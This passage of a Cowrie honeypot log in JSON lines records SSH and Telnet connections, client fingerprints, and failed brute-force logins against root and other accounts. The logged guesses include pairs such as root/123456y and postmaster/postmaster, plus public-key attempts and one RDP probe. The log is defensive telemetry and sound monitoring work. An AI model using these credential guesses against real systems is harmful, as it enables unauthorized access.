{"eventid":"cowrie.session.connect","src_ip":"147.45.211.215","src_port":57110,"dst_ip":"10.17.0.5","dst_port":22,"session":"779a3fadd4fd","protocol":"ssh","message":"New connection: 147.45.211.215:57110 (10.17.0.5:22) [session: 779a3fadd4fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:25.843166Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:25.847989Z","src_ip":"147.45.211.215","session":"779a3fadd4fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:26.029495Z","src_ip":"147.45.211.215","session":"779a3fadd4fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456y","message":"login attempt [root/123456y] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:26.789568Z","src_ip":"147.45.211.215","session":"779a3fadd4fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:27.978203Z","src_ip":"147.45.211.215","session":"779a3fadd4fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39616,"dst_ip":"10.17.0.5","dst_port":23,"session":"d368a82134a2","protocol":"telnet","message":"New connection: 152.42.224.71:39616 (10.17.0.5:23) [session: d368a82134a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:28.381996Z"}
{"eventid":"cowrie.session.connect","src_ip":"124.156.196.131","src_port":50222,"dst_ip":"159.203.135.109","dst_port":22,"session":"dc8480fe956c","protocol":"ssh","message":"New connection: 124.156.196.131:50222 (159.203.135.109:22) [session: dc8480fe956c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:40.733186Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:40.737329Z","src_ip":"124.156.196.131","session":"dc8480fe956c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:40.982440Z","src_ip":"124.156.196.131","session":"dc8480fe956c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssw0rd@","message":"login attempt [root/P@ssw0rd@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:41.994750Z","src_ip":"124.156.196.131","session":"dc8480fe956c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:43.243312Z","src_ip":"124.156.196.131","session":"dc8480fe956c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.95.54","src_port":41380,"dst_ip":"159.203.135.109","dst_port":22,"session":"8df6a1df726c","protocol":"ssh","message":"New connection: 43.163.95.54:41380 (159.203.135.109:22) [session: 8df6a1df726c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:47.773463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:47.779146Z","src_ip":"43.163.95.54","session":"8df6a1df726c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:48.015590Z","src_ip":"43.163.95.54","session":"8df6a1df726c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postmaster","password":"postmaster","message":"login attempt [postmaster/postmaster] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:48.991899Z","src_ip":"43.163.95.54","session":"8df6a1df726c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:19:50.231585Z","src_ip":"43.163.95.54","session":"8df6a1df726c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.81.52","src_port":59418,"dst_ip":"159.203.135.109","dst_port":22,"session":"6be733be0940","protocol":"ssh","message":"New connection: 167.172.81.52:59418 (159.203.135.109:22) [session: 6be733be0940]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:04.092890Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:04.100616Z","src_ip":"167.172.81.52","session":"6be733be0940","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:04.104975Z","src_ip":"167.172.81.52","session":"6be733be0940","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.235.57.43","src_port":11996,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad8f1ca2d902","protocol":"ssh","message":"New connection: 68.235.57.43:11996 (10.17.0.5:22) [session: ad8f1ca2d902]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.220554Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.227171Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.258548Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"76:13:0e:d8:45:81:04:6c:9a:90:d6:eb:07:c8:3e:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAyLHlhYxME7BcW3rQg3GoNu5SKwGJ2IUVmymkwTxgoEG112KefNVQh3nau4tdF19oi0nzIL/qcXy4ti9U8JI4xudfGWYtVLIfRZYqRZfZwO05N+xrsnTPRfH3w7Hn5NbxE3J6OqfEZskzi+EoVuA0QJqt2FJdQe4WCi8ZrIXITspbhW3sOUElj6c3hW/q+fC49ufR3m8z1wuFbFqgkQ67pSFNhA+SDwMp+EEpPApBTa1NsYw/IKOmtlzHRCwl5INkDmEI47ESTXgR8hFgEl1mcwzBZFzcerITWVRrgs+NTw+3yQio8yOVrSTvYg9Jw6JulT3r6K97rd7HOt5YeSXHFal7zIbo2MR0BoUDjiLAX09/v6A9JUg+0LdaSyr0VrrvjKfEtV7XHtPjL+KAFCpv7CVNrve29X/Gzne/d6JD0BHAqUiIo82EhFUaS3O0Ky5H2df+JZmDr4/nB7vACqqMaNMCBcf539Oqbquny/prWbGMuJehoOd3DWabJ2CvH6Ue4ybmrm2kIxySyXLizOPBrIGvy7jXf8QUmz9PwFzpc3P9wktT5p2R7zi1QL2FL+8HaplWUpJc2ytqucDCYPEMLWwpcuRXIqXPMl5JhcYETpFJ9SedLe5BXYQEulJV7gfqRsl1gn2J6sYKGtbH0VO1Ub0g2ZZiyI/4kl+wcLq4hQE=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 76:13:0e:d8:45:81:04:6c:9a:90:d6:eb:07:c8:3e:8c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.402378Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"76:13:0e:d8:45:81:04:6c:9a:90:d6:eb:07:c8:3e:8c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAgEAyLHlhYxME7BcW3rQg3GoNu5SKwGJ2IUVmymkwTxgoEG112KefNVQh3nau4tdF19oi0nzIL/qcXy4ti9U8JI4xudfGWYtVLIfRZYqRZfZwO05N+xrsnTPRfH3w7Hn5NbxE3J6OqfEZskzi+EoVuA0QJqt2FJdQe4WCi8ZrIXITspbhW3sOUElj6c3hW/q+fC49ufR3m8z1wuFbFqgkQ67pSFNhA+SDwMp+EEpPApBTa1NsYw/IKOmtlzHRCwl5INkDmEI47ESTXgR8hFgEl1mcwzBZFzcerITWVRrgs+NTw+3yQio8yOVrSTvYg9Jw6JulT3r6K97rd7HOt5YeSXHFal7zIbo2MR0BoUDjiLAX09/v6A9JUg+0LdaSyr0VrrvjKfEtV7XHtPjL+KAFCpv7CVNrve29X/Gzne/d6JD0BHAqUiIo82EhFUaS3O0Ky5H2df+JZmDr4/nB7vACqqMaNMCBcf539Oqbquny/prWbGMuJehoOd3DWabJ2CvH6Ue4ybmrm2kIxySyXLizOPBrIGvy7jXf8QUmz9PwFzpc3P9wktT5p2R7zi1QL2FL+8HaplWUpJc2ytqucDCYPEMLWwpcuRXIqXPMl5JhcYETpFJ9SedLe5BXYQEulJV7gfqRsl1gn2J6sYKGtbH0VO1Ub0g2ZZiyI/4kl+wcLq4hQE=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.413034Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:9c:51:a6:b6:bf:10:05:d5:86:7d:08:3b:d1:a1:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5jhNkcLFjkPxd7blWwsZbeBi7pJ0MUfm5hmaS2ozo+Tg1HYZ0AJMXvowmyPAbPGRrS8gqjHHPNrZ+mjhs9PUCa+/mX9PtWt/03nIT1sg4dRtI2Pj2mW5546gRVASWwcM2b9zNwlbJhZOB6kyRdoDX5+YwNhzA3U7CDjU13PqOexEZhx27Zcd99vxlR834JuBNWfM845hyRIHLOXceF1/BuwEqeLzWJ1ZvOSRxz/xi/DQcNSVPyyvxZxGNh/TW+rEmJ4B4aF89UG0VmwGrkAxVBh2g/CE5auFTpeLHAbkr5u1dKtD9c1+jc69kPT7tCHBFDUBskrh+VqIfxQZOQbkvubYbPzRu45zkqNShZn53KqTYqM47ep6exF2MI6hmRn+KTWOm/VzHfhyxKVZM7nsvpLsMpOCRBz9f5bvqe5Ms2+w7kIFrpTAM+kIm9PGjc8jGReGo7cXkF9hcszpXUlgtJlav11eXDD6xsgo4+h2qTDTPYu1Sjhd7Psh8nEEIx73OzNv4RccMSrtixJ0ZxZw8I0TiYvkiRcmxPpevtoxDKoiROA+GMFoccWbbc0F9pYpSQRC+LaY6d/4N4pspSOmjUmu1yXSC4tmtMAUAd8B3I3sUyroiRyMxXgDdvojjzRWHCeQ9UpK3CL61YvG0/N3II0rcRFJDvUM6WXOjyIviAw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:9c:51:a6:b6:bf:10:05:d5:86:7d:08:3b:d1:a1:14","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.448435Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:9c:51:a6:b6:bf:10:05:d5:86:7d:08:3b:d1:a1:14","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC5jhNkcLFjkPxd7blWwsZbeBi7pJ0MUfm5hmaS2ozo+Tg1HYZ0AJMXvowmyPAbPGRrS8gqjHHPNrZ+mjhs9PUCa+/mX9PtWt/03nIT1sg4dRtI2Pj2mW5546gRVASWwcM2b9zNwlbJhZOB6kyRdoDX5+YwNhzA3U7CDjU13PqOexEZhx27Zcd99vxlR834JuBNWfM845hyRIHLOXceF1/BuwEqeLzWJ1ZvOSRxz/xi/DQcNSVPyyvxZxGNh/TW+rEmJ4B4aF89UG0VmwGrkAxVBh2g/CE5auFTpeLHAbkr5u1dKtD9c1+jc69kPT7tCHBFDUBskrh+VqIfxQZOQbkvubYbPzRu45zkqNShZn53KqTYqM47ep6exF2MI6hmRn+KTWOm/VzHfhyxKVZM7nsvpLsMpOCRBz9f5bvqe5Ms2+w7kIFrpTAM+kIm9PGjc8jGReGo7cXkF9hcszpXUlgtJlav11eXDD6xsgo4+h2qTDTPYu1Sjhd7Psh8nEEIx73OzNv4RccMSrtixJ0ZxZw8I0TiYvkiRcmxPpevtoxDKoiROA+GMFoccWbbc0F9pYpSQRC+LaY6d/4N4pspSOmjUmu1yXSC4tmtMAUAd8B3I3sUyroiRyMxXgDdvojjzRWHCeQ9UpK3CL61YvG0/N3II0rcRFJDvUM6WXOjyIviAw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.455335Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"0d:7a:6a:d1:84:1e:61:95:f4:88:5b:37:bd:f9:94:fa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIIpmFLkdkC6VDMaVScqbeXrihiU3JQ+/d+0/bkO+ef1","type":"ssh-ed25519","message":"public key attempt for user root of type ssh-ed25519 with fingerprint 0d:7a:6a:d1:84:1e:61:95:f4:88:5b:37:bd:f9:94:fa","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.491485Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"0d:7a:6a:d1:84:1e:61:95:f4:88:5b:37:bd:f9:94:fa","key":"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIIpmFLkdkC6VDMaVScqbeXrihiU3JQ+/d+0/bkO+ef1","type":"ssh-ed25519","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.496025Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:9c:96:5e:a7:c9:63:89:fd:9f:24:62:45:3a:6e:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA09Bj0PM5uU2zHycfFTOQz5ThHoPNkH3ghJtsL+uM6T4f4KJjrLJQgHyP6qaNUNDDbQsLSrnz1HSONjdFtETnWdufjQ5jDzpS8HuCd9zCMRWDHXORv//jHVc9jxpL6Ek6+Fa5doPbwzHFb1tq/lcaV5DFH1854zLLqnl8dr+hdNVD2mMl/iiGeGwpTKlt/d6tjTXG4odl+2CFZvHeEpcdsNtPR6gjnaNgsBFrJbILaFBeJWk4k9Al+jro4lGV+Gva7q253HYG/W52UDX32IoDBHfFWEutWLeluM9E4MVtY5KoJ3XlRdYwWOpJUi6uuUfjKbnvbWjN3QjyDXI8d1BrJQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:9c:96:5e:a7:c9:63:89:fd:9f:24:62:45:3a:6e:ff","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.531178Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:9c:96:5e:a7:c9:63:89:fd:9f:24:62:45:3a:6e:ff","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA09Bj0PM5uU2zHycfFTOQz5ThHoPNkH3ghJtsL+uM6T4f4KJjrLJQgHyP6qaNUNDDbQsLSrnz1HSONjdFtETnWdufjQ5jDzpS8HuCd9zCMRWDHXORv//jHVc9jxpL6Ek6+Fa5doPbwzHFb1tq/lcaV5DFH1854zLLqnl8dr+hdNVD2mMl/iiGeGwpTKlt/d6tjTXG4odl+2CFZvHeEpcdsNtPR6gjnaNgsBFrJbILaFBeJWk4k9Al+jro4lGV+Gva7q253HYG/W52UDX32IoDBHfFWEutWLeluM9E4MVtY5KoJ3XlRdYwWOpJUi6uuUfjKbnvbWjN3QjyDXI8d1BrJQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.535653Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"dc:a3:de:e5:5a:3a:0c:e6:31:80:1c:71:3a:34:1f:50","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQC8yf3TjWgb7RFWuKDmK9SVuEqPBaLbjaJuuYO5hm0us5H7cB4sOgHqIryd2EfRhCjA/INmMz+UqaIyn+0+ZhOg/VGttlaBjL11UMpXZtXuE4uAniF5qit6oC1AJYiiR8HckydOAdtOo/7fxRNsU4ruINaG64ibBvoE7/NOBhyrpJm+R5QrqZHA+L+N1BkeSE/+rH033PHc9+/MRZApFkr099BL91QkuxADQAzZQIxFVs/7gnEI4Mi8jubUpf6V1TncHMhIVvJXrFWs4VgDa8dYY3MGNk3/MoIgX1qWxRqOFi2A3PEMWbDogMjHEvSrn14d6uXpQvQ+vqstN6wT01MtBeEMNVeVBs0RkX7EvD3hm2nMoE7hBs3JY1Or5PQ6ySS+Ko2u2CCvGHjJPzG/Og6p+wpQoJlgaGL51p/+3NUHiMqLlAV8Z8mu4jH1ogKd6PjiBLwCIfJg6jWTD+eoTbuBoV0Zywo/12w2oWgwN/Hdjv9/dRjfKhw1ychwOgjBSUfGs1lJ7PznidywICPVFD7NSBXZXw85t1qQg5FLnDYTOl+QmAtEh4jdQW93m0sGfjSTHy4ojK2v5TvCKW2dgXEVTPMPUzpU4Yz0Yhs61LhzWT5YyqNsY3MFuHtDYxpFKba3xG/S6YB54p52gx/Zf7k8rXNGOPlxWDQZvXPlpbSR7Q==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint dc:a3:de:e5:5a:3a:0c:e6:31:80:1c:71:3a:34:1f:50","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T22:20:14.570603Z","src_ip":"68.235.57.43","session":"ad8f1ca2d902","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"dc:a3:de:e5:5a:3a:0c:e6:31:80:1c:71:3a:34:1f:50","key":"ssh-rsa 